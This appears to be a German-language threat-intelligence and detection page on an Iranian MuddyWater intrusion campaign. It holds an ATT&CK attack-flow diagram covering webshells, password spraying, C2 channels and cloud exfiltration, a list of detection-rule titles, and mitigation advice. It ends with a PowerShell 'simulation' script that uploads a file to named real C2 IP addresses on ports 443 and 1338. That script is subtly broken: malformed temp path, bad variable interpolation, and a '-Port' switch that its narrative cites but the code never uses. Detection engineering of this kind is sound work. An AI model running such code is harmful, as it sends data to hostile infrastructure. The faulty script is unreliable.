MuddyWater aufgedeckt: Einblick in eine iranische APT-Operation
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Forscher identifizierten eine MuddyWater (Static Kitten) Einbruchsgruppe, die mehrere maßgeschneiderte C2-Frameworks mit opportunistischer Ausnutzung zahlreicher öffentlich zugänglicher Schwachstellen und hochvolumigem Anmeldeinformations-Spraying kombinierte. Die Betreiber koppelten Aufklärung, Erstzugriff und Datendiebstahls-Tools, um Ziele im Nahen Osten, Europa und den Vereinigten Staaten zu kompromittieren.
Untersuchung
Ermittler beschlagnahmten freigelegte Infrastruktur von einem in den Niederlanden gehosteten VPS und extrahierten Binärdateien von drei speziell entwickelten C2-Servern: KeyC2, PersianC2, und ArenaC2. Sie stellten auch unterstützende Werkzeuge wieder her, darunter PowerShell-basierte Loader und Node.js-Payloads, die für die Vorbereitung und Ausführung verwendet wurden. Die Aktivität umfasste großangelegte Scans nach öffentlich zugänglichen Schwachstellen, gefolgt von Ausnutzung, und integrierte Blockchain-Smart-Contracts als Mechanismus zur dynamischen Auflösung oder Aktualisierung von C2-Endpunkten.
Minderung
Priorisieren Sie die Behebung der genannten CVEs und reduzieren Sie die Angriffsfläche, indem Sie öffentliche Dienste sicherer machen und ihre Exposition einschränken. Blockieren oder beschränken Sie unbekannten ausgehenden UDP-Verkehr auf Port 1269 und überwachen Sie Ausführungsartefakte, die mit den benutzerdefinierten C2-Binärdateien und ihren charakteristischen Befehlsmustern in Verbindung stehen. Erzwingen Sie das Prinzip der geringsten Privilegien für VPN- und Administratorkonten auf Netzwerkgeräten und erhöhen Sie die Erkennungsabdeckung für anomales PowerShell-Verhalten und verschlüsselte ausgehende Sitzungen zu unbekannten IP-Bereichen.
Antwort
Wenn Indikatoren beobachtet werden, isolieren Sie die betroffenen Systeme, bewahren Sie Speicher- und Datenträgerartefakte und blockieren Sie sofort die identifizierten C2-Domains/IPs. Führen Sie eine forensische Untersuchung der wiederhergestellten Loader und Node.js-Skripte durch, um Umfang und Persistenz der Ausführung zu bestimmen. Patchen Sie alle ausgenutzten Schwachstellen und ändern Sie alle Anmeldeinformationen, die durch Spraying oder Diebstahl offengelegt worden sein könnten.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ccffcc classDef c2 fill:#ffccff %% Step 1 – Active Scanning: Vulnerability Scanning step1[„<b>Aktion</b> – <b>T1595.002 Aktives Scannen: Schwachstellensuche</b><br/>Werkzeug: Nuclei<br/>Beschreibung: Massen-Scan öffentlicher Dienste nach ausnutzbaren CVEs wie FortiOS CVE‑2024‑55591 und Ivanti CVE‑2026‑1281.“] class step1 action tool_nuclei[„<b>Werkzeug</b> – <b>Name</b>: Nuclei<br/><b>Beschreibung</b>: Hochgeschwindigkeits-Scanner für Schwachstellen, der für großangelegtes Internet-Probing verwendet wird.“] class tool_nuclei tool step1 –>|uses| tool_nuclei step1 –>|leads_to| step2 %% Step 2 – Gather Victim Network Information: DNS step2[„<b>Aktion</b> – <b>T1590.002 Sammeln von Opfer-Netzwerkinformationen: DNS</b><br/>Werkzeuge: subfinder, Sudomy, OneForAll<br/>Beschreibung: Auflisten von Subdomains und DNS-Einträgen für Ziele wie clearview.ai und jewishagency.org.“] class step2 action tool_subfinder[„<b>Werkzeug</b> – <b>Name</b>: subfinder<br/><b>Beschreibung</b>: Schnelles Werkzeug zur passiven Entdeckung von Subdomains.“] class tool_subfinder tool step2 –>|uses| tool_subfinder step2 –>|leads_to| step3 %% Step 3 – Active Scanning: Wordlist Scanning step3[„<b>Aktion</b> – <b>T1595.003 Aktives Scannen: Wortlistenscan</b><br/>Werkzeug: ffuf<br/>Beschreibung: Bruteforce von Webverzeichnissen mit einer mittelgroßen Wortliste, um versteckte Ressourcen zu entdecken.“] class step3 action tool_ffuf[„<b>Werkzeug</b> – <b>Name</b>: ffuf<br/><b>Beschreibung</b>: Schnellweb-Fuzzer zur Entdeckung von Verzeichnissen und Dateien.“] class tool_ffuf tool step3 –>|uses| tool_ffuf step3 –>|leads_to| step4 %% Step 4 – Search Open Technical Databases: Scan Databases step4[„<b>Aktion</b> – <b>T1596.005 Durchsuchen von offenen technischen Datenbanken: Scannen von Datenbanken</b><br/>Werkzeug: Shodan CLI<br/>Beschreibung: Abfrage von Shodan nach anfälligen Ivanti-Geräten unter Verwendung von Dienstsignaturen und Favicon-Hashes.“] class step4 action tool_shodan[„<b>Werkzeug</b> – <b>Name</b>: Shodan CLI<br/><b>Beschreibung</b>: Kommandozeilen-Schnittstelle zur Suchmaschine für Internet-Exposition Shodan.“] class tool_shodan tool step4 –>|uses| tool_shodan step4 –>|leads_to| step5 %% Step 5 – Brute Force: Password Spraying step5[„<b>Aktion</b> – <b>T1110.003 Brute Force: Password Spraying</b><br/>Werkzeug: Python owa.py Skript<br/>Beschreibung: Sprühen von gängigen Passwörtern gegen Outlook Web Access und SMTP-Dienste von Organisationen in Israel, Jordanien und den VAE.“] class step5 action tool_owa[„<b>Werkzeug</b> – <b>Name</b>: owa.py<br/><b>Beschreibung</b>: Python-Skript, das Passwort-Spraying-Angriffe gegen OWA-Endpunkte ausführt.“] class tool_owa tool step5 –>|uses| tool_owa step5 –>|leads_to| step6 %% Step 6 – Brute Force: Password Guessing step6[„<b>Aktion</b> – <b>T1110.001 Brute Force: Password Guessing</b><br/>Werkzeug: Patator<br/>Beschreibung: Versuch, SMTP-Anmeldungen mit Anmeldeinformationslisten durchzuführen, um gültige Konten zu erhalten.“] class step6 action tool_patator[„<b>Werkzeug</b> – <b>Name</b>: Patator<br/><b>Beschreibung</b>: Multiprotokoll-Bruteforcing-Tool, das SMTP, SSH, HTTP usw. unterstützt.“] class tool_patator tool step6 –>|uses| tool_patator step6 –>|leads_to| step7 %% Step 7 – Exploiting Public‑Facing Applications step7[„<b>Aktion</b> – <b>T1190 Nutzung öffentlicher Anwendungen</b><br/>Technik: Neuartige SQL-Injektionsschwachstellen in BaSalam und einer Postgres-Entwicklungsplattform.<br/>Beschreibung: Ausnutzen von ausgearbeiteten SQLi-Payloads, um ersten Zugriff auf Webserver zu erhalten.“] class step7 action step7 –>|leads_to| step8 %% Step 8 – Exploitation of Remote Services step8[„<b>Aktion</b> – <b>T1210 Ausnutzung von Remote-Diensten</b><br/>Tool: Neo‑reGeorg ASPX Webshell<br/>Beschreibung: Hochladen einer Webshell auf einen kompromittierten Exchange-Server für Persistenz und Fernbefehlausführung.“] class step8 action malware_neoregeorg[„<b>Malware</b> – <b>Name</b>: Neo‑reGeorg ASPX Webshell<br/><b>Beschreibung</b>: ASPX Webshell, die Fernbefehlausführung und Tunnelkapazitäten bietet.“] class malware_neoregeorg malware step8 –>|uploads| malware_neoregeorg step8 –>|leads_to| step9 %% Step 9 – Boot or Logon Autostart Execution: Registry Run Keys step9[„<b>Aktion</b> – <b>T1547.001 Autostart-Ausführung beim Booten oder Anmelden: Registrierungslaufschlüssel</b><br/>Malware: Node.js-Payload VfZUSQi6oerKau.js<br/>Beschreibung: Erstellen eines HKCU\Software\Microsoft\Windows\CurrentVersion\Run-Schlüssels für Persistenz.“] class step9 action malware_nodejs[„<b>Malware</b> – <b>Name</b>: VfZUSQi6oerKau.js<br/><b>Beschreibung</b>: Verschleiertes Node.js-Payload, das einen Run-Schlüssel für Persistenz schreibt.“] class malware_nodejs malware step9 –>|creates| malware_nodejs step9 –>|leads_to| step10 %% Step 10 – Server Software Component: Web Shell step10[„<b>Aktion</b> – <b>T1505.003 Server-Software-Komponente: Webshell</b><br/>Komponente: Neo‑reGeorg Webshell (nfud.aspx)<br/>Beschreibung: Ermöglicht die Fernbefehlsausführung auf einem kompromittierten Server.“] class step10 action malware_nfud[„<b>Malware</b> – <b>Name</b>: nfud.aspx<br/><b>Beschreibung</b>: ASPX Webshell-Variante, die für den dauerhaften Zugriff verwendet wird.“] class malware_nfud malware step10 –>|implements| malware_nfud step10 –>|leads_to| step11 %% Step 11 – Create Account: Local Account step11[„<b>Aktion</b> – <b>T1136.001 Konto erstellen: Lokales Konto</b><br/>Ergebnis: privilegiertes Administratorkonto „FortiSetup“ mit Superadmin-Profil.<br/>Beschreibung: Geänderte FortiGate-Exploit-Skripte, um ein dauerhaftes lokales Administratorkonto hinzuzufügen.“] class step11 action step11 –>|leads_to| step12 %% Step 12 – Obfuscated Files or Information step12[„<b>Aktion</b> – <b>T1027 Verschleierte Dateien oder Informationen</b><br/>Malware: Node.js Payloads<br/>Beschreibung: Payloads sind stark verschleiert und mit AES-CBC verschlüsselt, bevor sie auf die Festplatte geschrieben werden.“] class step12 action malware_obf[„<b>Malware</b> – <b>Name</b>: Verschlüsselte Node.js-Payloads<br/><b>Beschreibung</b>: AES-CBC verschlüsselte Blobs, die auf dem Dateisystem des Opfers gespeichert sind.“] class malware_obf malware step12 –>|produces| malware_obf step12 –>|leads_to| step13 %% Step 13 – Deobfuscate/Decode Files or Information step13[„<b>Aktion</b> – <b>T1140 Deobfuskieren/Entschlüsseln von Dateien oder Informationen</b><br/>Werkzeug: PowerShell-Loader reset.ps1<br/>Beschreibung: Entschlüsselt zur Laufzeit AES-CBC-verschlüsselte Blobs.“] class step13 action tool_psloader[„<b>Werkzeug</b> – <b>Name</b>: reset.ps1<br/><b>Beschreibung</b>: PowerShell-Skript, das bösartige Payloads im Speicher entschlüsselt und lädt.“] class tool_psloader tool step13 –>|uses| tool_psloader step13 –>|leads_to| step14 %% Step 14 – Reflective Code Loading step14[„<b>Aktion</b> – <b>T1620 Spiegelndes Code-Laden</b><br/>Technik: PowerShell-Loader lädt entschlüsselte Node.js-Komponenten spiegelbildlich im Speicher.“] class step14 action step14 –>|leads_to| step15 %% Step 15 – Application Layer Protocol: Web Protocols step15[„<b>Aktion</b> – <b>T1071.001 Anwendungsschichtprotokoll: Webprotokolle</b><br/>C2: PersianC2<br/>Beschreibung: HTTP-Polling unter Verwendung von JSON-API-Endpunkten zur Abrufung von Befehlen.“] class step15 action c2_persian[„<b>C2</b> – <b>Name</b>: PersianC2<br/><b>Beschreibung</b>: HTTP-basiertes Kommando- und Kontrollsystem unter Verwendung von JSON-Polling.“] class c2_persian c2 step15 –>|communicates_via| c2_persian step15 –>|leads_to| step16 %% Step 16 – Non‑Application Layer Protocol step16[„<b>Aktion</b> – <b>T1095 Nicht-Anwendungsschichtprotokoll</b><br/>C2: KeyC2<br/>Beschreibung: Benutzerdefiniertes Binärprotokoll über UDP-Port 1269 für Beaconing und Befehlsausführung.“] class step16 action c2_key[„<b>C2</b> – <b>Name</b>: KeyC2<br/><b>Beschreibung</b>: UDP-basiertes verdecktes Kanalprotokoll im proprietären Binärformat.“] class c2_key c2 step16 –>|communicates_via| c2_key step16 –>|leads_to| step17 %% Step 17 – Web Service: Dead Drop Resolver step17[„<b>Aktion</b> – <b>T1102.001 Webdienst: Dead Drop Resolver</b><br/>Technik: Abfrage von Ethereum Smart Contracts zur dynamischen Auflösung von C2-Server-IP-Adressen.“] class step17 action step17 –>|leads_to| step18 %% Step 18 – Web Service: Bidirectional Communication step18[„<b>Aktion</b> – <b>T1102.002 Webdienst: Bidirektionale Kommunikation</b><br/>C2: ArenaC2 (FastAPI/uvicorn)<br/>Beschreibung: HTTP-POST-Schnittstelle, die den Verkehr mit AES-256-CBC verschlüsselt.“] class step18 action c2_arena[„<b>C2</b> – <b>Name</b>: ArenaC2<br/><b>Beschreibung</b>: FastAPI-Server, der verschlüsselten bidirektionalen C2-Kanal bereitstellt.“] class c2_arena c2 step18 –>|uses| c2_arena step18 –>|leads_to| step19 %% Step 19 – Web Service: One‑Way Communication step19[„<b>Aktion</b> – <b>T1102.003 Webdienst: Einwegkommunikation</b><br/>Komponente: Minimaler Flask-Server (web.py) auf Port 10443, der Dateiuploads zur Exfiltration akzeptiert.“] class step19 action malware_flask[„<b>Malware</b> – <b>Name</b>: web.py<br/><b>Beschreibung</b>: Einfaches Flask-App, das als Dead-Drop für gestohlene Daten fungiert.“] class malware_flask malware step19 –>|implements| malware_flask step19 –>|leads_to| step20 %% Step 20 – Protocol Tunneling step20[„<b>Aktion</b> – <b>T1572 Protokoll-Tunneling</b><br/>Werkzeug: Neo‑reGeorg fungiert als SOCKS-Proxy (resocks, revsocks) zum Tunneling in interne Netzwerke.“] class step20 action step20 –>|leads_to| step21 %% Step 21 – Proxy: External Proxy step21[„<b>Aktion</b> – <b>T1090.002 Proxy: Externer Proxy</b><br/>Listeners: resocks und revsocks erstellen externe SOCKS-Proxys für Seitwärtsbewegung.“] class step21 action step21 –>|leads_to| step22 %% Step 22 – Encrypted Channel: Symmetric Cryptography step22[„<b>Aktion</b> – <b>T1573.001 Verschlüsselter Kanal: Symmetrische Kryptografie</b><br/>Technik: ArenaC2 verschlüsselt den gesamten C2-Verkehr mit AES-256-CBC unter Verwendung eines fest codierten Schlüssels.“] class step22 action step22 –>|leads_to| step23 %% Step 23 – Dynamic Resolution step23[„<b>Aktion</b> – <b>T1568 Dynamische Auflösung</b><br/>Methode: Smart-Contract-Anrufe (getString) auf Ethereum geben eine aktive C2-IP-Liste zurück (z.B., 185.236.25.119).“] class step23 action step23 –>|leads_to| step24 %% Step 24 –Exfiltration to Cloud Storage step24[„<b>Aktion</b> – <b>T1567.002 Exfiltration über Webdienst: Exfiltration in Cloud-Speicher</b><br/>Werkzeug: rclone<br/>Ziel: Wasabi S3, put.io<br/>Beschreibung: Hochladen gestohlener Dateien in Cloud-Speicherkonten.“] class step24 action tool_rclone[„<b>Werkzeug</b> – <b>Name</b>: rclone<br/><b>Beschreibung</b>: Kommandozeilen-Programm zum Synchronisieren von Dateien mit Cloud-Speicherdiensten.“] class tool_rclone tool step24 –>|uses| tool_rclone step24 –>|leads_to| step25 %% Step 25 – Exfiltration Over C2 Channel step25[„<b>Aktion</b> – <b>T1041 Datenexfiltration über C2-Kanal</b><br/>Fähigkeit: KeyC2 und PersianC2 unterstützen Dateidownloads, um Daten von Opfern abzurufen.“] class step25 action step25 –>|leads_to| step26 %% Step 26 – Exfiltration Over Alternative Protocol step26[„<b>Aktion</b> – <b>T1048 Datenexfiltration über alternatives Protokoll</b><br/>Methode: Flask-HTTP-Server und EC2-Instanz (18.223.24.218) werden verwendet, um große Datenmengen aus der Opferumgebung herauszuschieben.“] class step26 action
Angriffsfluss
Erkennungen
Kurzer Dateiname (über cmdline)
Anzeigen
Verdächtige Dateien im öffentlichen Benutzerprofil (über file_event)
Anzeigen
Mögliche Datenexfiltration über Rclone-Werkzeug (über cmdline)
Anzeigen
Verdächtige Ausführung aus öffentlichem Benutzerprofil (über process_creation)
Anzeigen
Verdächtige .NET-Methodenaufrufe aus PowerShell (über powershell)
Anzeigen
NodeJS-Binärdatei wird von einem ungewöhnlichen Ort aus ausgeführt (über cmdline)
Anzeigen
Mögliche Verwendung eines Tunneling-Tools [Windows] (über cmdline)
Anzeigen
PowerShell-Loader und Datenexfiltration über WebClient [Windows PowerShell]
Anzeigen
Erkennung von MuddyWater-Password Spraying und SMTP-Bruteforce [Windows-Prozess-Erstellung]
Anzeigen
Erkennung von MuddyWater Fortinet-Ausnutzung und Datenexfiltration [Firewall]
Anzeigen
Ausführung der Simulation
Voraussetzung: Das Telemetrie- & Baseline-Pre-Flight-Check muss bestanden werden.
Rationale: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und das Narrativ müssen direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffs-Narrativ & Befehle:
-
Aufklärung & Datenvorbereitung: Der Angreifer listet lokale Dateien auf (
T1005) und schreibt eine kleine Nutzlast (secret.txt) auf den Arbeitsplatz. -
Einrichtung der C2-Kommunikation: Mit PowerShell (
T1059.001), erstellt der Angreifer einen HTTPS-POST zur MuddyWater C2-Server194.11.246.101auf Port 443 unter Einbettung der vorbereiteten Daten. -
Alternativer Kanal (Nicht-Standard-Port): Um einfache Port-basierte Regeln zu umgehen, wiederholt der Angreifer die Exfiltration über Port 1338 unter Verwendung
Invoke-WebRequestmit dem-Port-Schalter (PowerShell 7+). -
Optionales Proxy-Chaining: Die Anfrage wird über einen externen Proxy geleitet (
T1090.002), aber die endgültige Ziel-IP bleibt der MuddyWater-Host, um sicherzustellen, dass die Firewall-Protokolle die bösartigedst_ip.
-
Aufklärung & Datenvorbereitung: Der Angreifer listet lokale Dateien auf (
-
Regressionstest-Skript:
# MuddyWater-Exfiltrationssimulation – PowerShell # ------------------------------------------------ # Schritt 1: Erstellen von Dummy-Daten $dataPath = "$env:TEMPsecret.txt" "Sensitive data $(Get-Date)" | Out-File -FilePath $dataPath -Encoding UTF8 # Schritt 2: Definieren der C2-Endpunkte $c2Ips = @('194.11.246.101','18.223.24.218') $c2Ports = @(443,1338) # Schritt 3: Upload via HTTPS (Port 443) foreach ($ip in $c2Ips) { $uri = "https://$ip/upload" Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue } # Schritt 4: Upload via benutzerdefiniertem Port 1338 (erfordert PowerShell 7+) foreach ($ip in $c2Ips) { $uri = "http://$ip:1338/upload" Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue } # Schritt 5: Aufräumen Remove-Item -Path $dataPath -Force -
Aufräumbefehle:
# Entfernen von verbleibenden Netzwerkverbindungen (Windows) Get-NetTCPConnection -RemoteAddress 194.11.246.101,18.223.24.218 | Where-Object { $_.State -eq 'Established' } | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Löschen temporärer Dateien (bei Bedarf erneut ausführen) $tempFile = "$env:TEMPsecret.txt" if (Test-Path $tempFile) { Remove-Item $tempFile -Force }